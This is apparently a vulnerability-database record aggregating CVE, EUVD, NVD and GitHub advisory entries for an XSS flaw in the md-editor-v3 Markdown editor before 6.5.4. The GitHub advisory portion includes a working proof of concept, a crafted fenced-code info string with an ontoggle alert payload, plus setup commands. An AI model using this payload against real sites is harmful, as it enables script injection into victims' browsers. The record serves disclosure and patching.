{"id":"EUVD-2026-83198","revision":null,"records":[{"revision":"37a85143ecba44c0acb0cfe38494dfd9","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-84992","aliases":[],"title":"md-editor-v3: XSS via fenced-code language rendering bypass","description":"md-editor-v3 is a Markdown editor for Vue 3 developed in JSX and TypeScript. Prior to 6.5.4, MdPreview's useMarkdownIt() highlight callback in packages/MdEditor/layouts/Content/composition/useMarkdownIt.ts inserts a fenced-code language value into class and language HTML attributes without escaping or consistently quoting it. Both highlighted and non-highlighted rendering paths reach this return value, while XSSPlugin filters only existing html_block and html_inline tokens before rendering and therefore cannot inspect the renderer-generated HTML. An attacker who can supply Markdown can use crafted fenced-code metadata to execute JavaScript in the application origin when a victim renders it, including as stored cross-site scripting when the host persists the Markdown. This issue is fixed in version 6.5.4","state":0,"publishedAt":"2026-09-18T17:10:08.497+00:00","modifiedAt":"2026-09-18T18:06:19.593+00:00","affected":[{"ecosystem":"Vendor product","name":"md-editor-v3","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"imzbf\",\n                    \"product\": \"md-editor-v3\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 6.5.4\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","score":6.1,"severity":"MEDIUM"}],"references":["https://github.com/imzbf/md-editor-v3/security/advisories/GHSA-3rm2-h79c-8qw6","https://github.com/imzbf/md-editor-v3/commit/2c07360420e74087f5bc63032ab155d93e0a0b10","https://github.com/imzbf/md-editor-v3/releases/tag/v6.5.4"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-84992","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-84992","identifiers":["CVE-2026-84992"]},"retained":false,"historicalAffected":[]},{"revision":"664833c976b84ecea0134b5d849d9101","observedAt":"2026-11-11T17:01:35.761+00:00","statement":{"source":"euvd","id":"EUVD-2026-83198","aliases":["CVE-2026-84992","GHSA-3rm2-h79c-8qw6"],"title":"md-editor-v3 is a Markdown editor for Vue 3 developed in JSX and TypeScript. Prior to 6.5.4, MdPreview's useMarkdownIt() highlight callback in packages/MdEditor/layouts/Content/composition/useMarkdownIt.ts inserts a fenced-code language val…","description":"md-editor-v3 is a Markdown editor for Vue 3 developed in JSX and TypeScript. Prior to 6.5.4, MdPreview's useMarkdownIt() highlight callback in packages/MdEditor/layouts/Content/composition/useMarkdownIt.ts inserts a fenced-code language value into class and language HTML attributes without escaping or consistently quoting it. Both highlighted and non-highlighted rendering paths reach this return value, while XSSPlugin filters only existing html_block and html_inline tokens before rendering and therefore cannot inspect the renderer-generated HTML. An attacker who can supply Markdown can use crafted fenced-code metadata to execute JavaScript in the application origin when a victim renders it, including as stored cross-site scripting when the host persists the Markdown. This issue is fixed in version 6.5.4","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","score":6.1,"severity":null}],"references":["https://github.com/imzbf/md-editor-v3/security/advisories/GHSA-3rm2-h79c-8qw6","https://github.com/imzbf/md-editor-v3/commit/2c07360420e74087f5bc63032ab155d93e0a0b10","https://github.com/imzbf/md-editor-v3/releases/tag/v6.5.4"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-83198","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Sep 18, 2026, 5:10:08 PM","dateUpdated":"Sep 18, 2026, 6:06:19 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-83198","identifiers":["EUVD-2026-83198","CVE-2026-84992","GHSA-3rm2-h79c-8qw6"]},"retained":false,"historicalAffected":[]},{"revision":"03bfec5da2154dcc9f6baccb45a1e837","observedAt":"2026-10-25T16:19:16.24+00:00","statement":{"source":"nvd","id":"CVE-2026-84992","aliases":[],"title":"md-editor-v3 is a Markdown editor for Vue 3 developed in JSX and TypeScript. Prior to 6.5.4, MdPreview's useMarkdownIt() highlight callback in packages/MdEditor/layouts/Content/composition/useMarkdownIt.ts inserts a fenced-code language val…","description":"md-editor-v3 is a Markdown editor for Vue 3 developed in JSX and TypeScript. Prior to 6.5.4, MdPreview's useMarkdownIt() highlight callback in packages/MdEditor/layouts/Content/composition/useMarkdownIt.ts inserts a fenced-code language value into class and language HTML attributes without escaping or consistently quoting it. Both highlighted and non-highlighted rendering paths reach this return value, while XSSPlugin filters only existing html_block and html_inline tokens before rendering and therefore cannot inspect the renderer-generated HTML. An attacker who can supply Markdown can use crafted fenced-code metadata to execute JavaScript in the application origin when a victim renders it, including as stored cross-site scripting when the host persists the Markdown. This issue is fixed in version 6.5.4","state":0,"publishedAt":"2026-09-18T18:17:17.277+00:00","modifiedAt":"2026-09-24T21:25:27.05+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","score":6.1,"severity":"MEDIUM"}],"references":["https://github.com/imzbf/md-editor-v3/commit/2c07360420e74087f5bc63032ab155d93e0a0b10","https://github.com/imzbf/md-editor-v3/releases/tag/v6.5.4","https://github.com/imzbf/md-editor-v3/security/advisories/GHSA-3rm2-h79c-8qw6"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-84992","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-79"],"productCriteria":[],"sourceDates":{"published":"2026-09-18T18:17:17.277","lastModified":"2026-09-24T21:25:27.050"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-84992","identifiers":["CVE-2026-84992"]},"retained":false,"historicalAffected":[]},{"revision":"090c8ea772144aaa90da0131e93582de","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-3rm2-h79c-8qw6","aliases":["CVE-2026-84992"],"title":"md-editor-v3: XSS via fenced-code language rendering bypass","description":"### Summary\n`MdPreview` interpolates a fenced-code language into HTML attributes without escaping it. A crafted info string therefore executes JavaScript even when the shipped `XSSPlugin` is enabled.\n\n### Details\n`useMarkdownIt()` (`packages/MdEditor/layouts/Content/composition/useMarkdownIt.ts:206`) registers a `highlight` callback whose final return inserts `language` into both `class=\"language-${language}\"` and an unquoted `language=${language}` attribute without escaping. Both highlighting paths reach this return. `XSSPlugin()` filters only existing `html_block` and `html_inline` tokens before rendering, so it cannot inspect this renderer-generated HTML.\n\n### PoC\nThe Vue application enables the shipped `XSSPlugin` and renders attacker-controlled Markdown. `noHighlight: true` only makes reproduction deterministic; the default highlighting path reaches the same unsafe return. Use this as `src/main.js`:\n\n```js\nimport { createApp, h } from 'vue';\nimport { MdPreview, XSSPlugin, config } from 'md-editor-v3';\n\nconfig({ markdownItPlugins: p => [...p, { type: 'xss', plugin: XSSPlugin, options: {} }] });\nconst markdown = '```x\"><details/open/ontoggle=alert(document.domain)>\\nSAFE\\n```';\ncreateApp({ render: () => h(MdPreview,\n  { editorId: 'poc', modelValue: markdown, noHighlight: true })\n}).mount('#app');\n```\n\nCreate and run the app, replacing `src/main.js` when indicated:\n\n```sh\nnpm create vite@latest poc -- --template vue\ncd poc\nnpm install\nnpm install md-editor-v3@6.5.3\n# Replace src/main.js with the code above.\nnpm run dev\n```\n\nOpening the displayed URL automatically shows the application hostname in an alert.\n\n### Impact\nAn attacker who can supply Markdown can execute JavaScript in the application origin when a victim renders it. If the host stores that Markdown, this becomes stored XSS.\n\n### Suggested fix\nEscape `language` with `md.utils.escapeHtml` before interpolation and quote the `language` attribute. Add this payload and the raw control as regression tests with `XSSPlugin` enabled.","state":0,"publishedAt":"2026-09-18T17:17:36+00:00","modifiedAt":"2026-09-18T17:30:08.3988567+00:00","affected":[{"ecosystem":"npm","name":"md-editor-v3","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"6.5.4"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/imzbf/md-editor-v3/security/advisories/GHSA-3rm2-h79c-8qw6","https://github.com/imzbf/md-editor-v3/commit/2c07360420e74087f5bc63032ab155d93e0a0b10","https://github.com/imzbf/md-editor-v3","https://github.com/imzbf/md-editor-v3/releases/tag/v6.5.4"],"sourceUrl":"https://github.com/advisories/GHSA-3rm2-h79c-8qw6","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-3rm2-h79c-8qw6","identifiers":["GHSA-3rm2-h79c-8qw6","CVE-2026-84992"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-12T11:55:28.1860721+00:00","complete":true,"records":1779,"lastAttemptAt":"2026-11-12T11:55:28.1860721+00:00","lastSuccessAt":"2026-11-12T11:55:28.4130785+00:00","error":null,"lastVerifiedAt":"2026-11-12T11:55:28.4130791+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-64752486c567b55b31fb0d7225f5222bcd0019564ac0ac5f0649e242c7b19299-4a4604796d7c0adea2c1c677026f25a1e039e4a95710b02ad846575329daaa79","complete":true,"records":424651,"lastAttemptAt":"2026-11-12T11:53:33.8199862+00:00","lastSuccessAt":"2026-11-12T11:53:33.7811873+00:00","error":null,"lastVerifiedAt":"2026-11-12T11:53:33.8199862+00:00","snapshotPublishedAt":"2026-11-12T11:27:22+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-0580dcc98aaa46a8935f8ff576f25037","complete":true,"records":13764,"lastAttemptAt":"2026-11-12T11:56:20.2141865+00:00","lastSuccessAt":"2026-11-12T11:56:20.209+00:00","error":null,"lastVerifiedAt":"2026-11-12T11:56:20.209+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13817,"expectedIdentifiers":13817,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. 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